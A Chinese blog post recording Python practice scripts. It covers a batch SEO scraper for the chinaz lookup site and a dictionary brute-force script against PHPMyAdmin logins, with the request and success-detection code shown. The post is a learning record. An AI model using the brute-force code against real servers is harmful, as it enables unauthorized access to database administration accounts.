Python 爬虫和爆破脚本编写练习记录随笔
Python 学习记录脚本,想通过练习编写脚本一点点提升自己很菜的编程水平,随笔记录一点,哪怕日后会咕咕咕,但是记录下来证明自己来过也是好的。
批量检测域名 SEO
项目地址
GitHub - sqlsec/seo: Python实现批量查询网站的百度权重以及收录情况。
实现原理
Python3
实现批量查询网站的百度权重以及收录情况,利用的是站长之家的SEO查询接口,所以本脚本相当于是一个爬虫,用来批量提取数据信息。
模块相关
argparse
argparse
轻松编写用户友好的命令行界面。定义并解析了需要的参数。当用户给程序提供无效参数时,该模块还会自动生成帮助和使用消息并发出错误。
效果演示
progressbar
一个方便友好的进度条显示模块。
效果演示
prettytable
一个表格输出美化模块,展示结果很友好。
效果演示
相关代码解析
request 请求代码
f = open(args.read,"r")
lines = ''.join(f.readlines()).split("\n")
tb = pt.PrettyTable(["域名","百度权重","百度收录","站点标题","域名年龄"])
p = progressbar.ProgressBar()
for domain in p(lines):
url = 'http://seo.chinaz.com/{domain}'.format(domain=domain)
headers = {
'Host': 'seo.chinaz.com',
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0',
'Content-Type': 'application/x-www-form-urlencoded',
}
data = 'm=&host={domain}'.format(domain=domain)
try:
response = requests.post(url=url,headers=headers,data=data,timeout=10)
html = response.text
正则相关
# 百度权重正则
baidu_pattern = re.compile(r'baiduapp/(.*?).gif')
baidu = baidu_pattern.findall(html)[0]
# 收录数量正则
count_pattern = re.compile(r'"Ma01LiRow w12-1 ">(.*?)</div>')
count = count_pattern.findall(html)[4]
# 站点标题正则
domain_name = re.compile(r'class="ball">(.*?)</div>')
name = domain_name.findall(html)[0]
# 域名年龄正则
domain_year = re.compile(r'wd={domain}" target="_blank">(.*?)</a>'.format(domain=domain))
year = domain_year.findall(html)[1]
PHPMyAdmin 爆破
项目地址
GitHub - sqlsec/CreakPHPMyAdmin: Python实现挂载字典爆破PHPMyAdmin,虽然目前速度不是很快,但还是可以使用的 PHPMyAdmin 不同版本得用不同方法来爆破,不具有通用性,由于代码不够优雅,国光这里删了这个项目。
实现原理
从字典文件里面读取每行的密码信息带入requests
请求中实现密码爆破的效果。 本脚本测试PHPMyAdmin
版本是PHPStudy
自带的版本。
模块相关
colorama
colorama
是一个python
专门用来在控制台、命令行输出彩色文字的模块,可以跨平台使用。
效果演示
optparse
一个已经被argparse
替代的命令行参数编写模块,建议搭建转到argparse
,这个模块不建议学习使用了,我当初因为不知道argparse
的存在才用了这个模块的。
相关代码解析
request 请求代码
def req(url,username,password):
headers = {
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
}
payload = {
'pma_username':'{}'.format(username),
'pma_password':'{}'.format(password),
'server':'1',
}
res = requests.post(url,data=payload,headers=headers)
return res
正则相关
正则匹配输入密码后的页面返回结果来判断是否爆破成功。
try:
res = req(args.url,args.username,password)
login_success = re.compile(r'opendb_url')
success = login_success.search(res.text)
if success:
flag = True
print(Fore.GREEN + "\n[+] PHPMyAdmin is vulerable")
print("Phpmyadin password is " + password)
break
except Exception as e:
print(Fore.YELLOW + '执行异常{}'.format(e))
支持一下
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信
![]() |
支付宝
![]() |
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光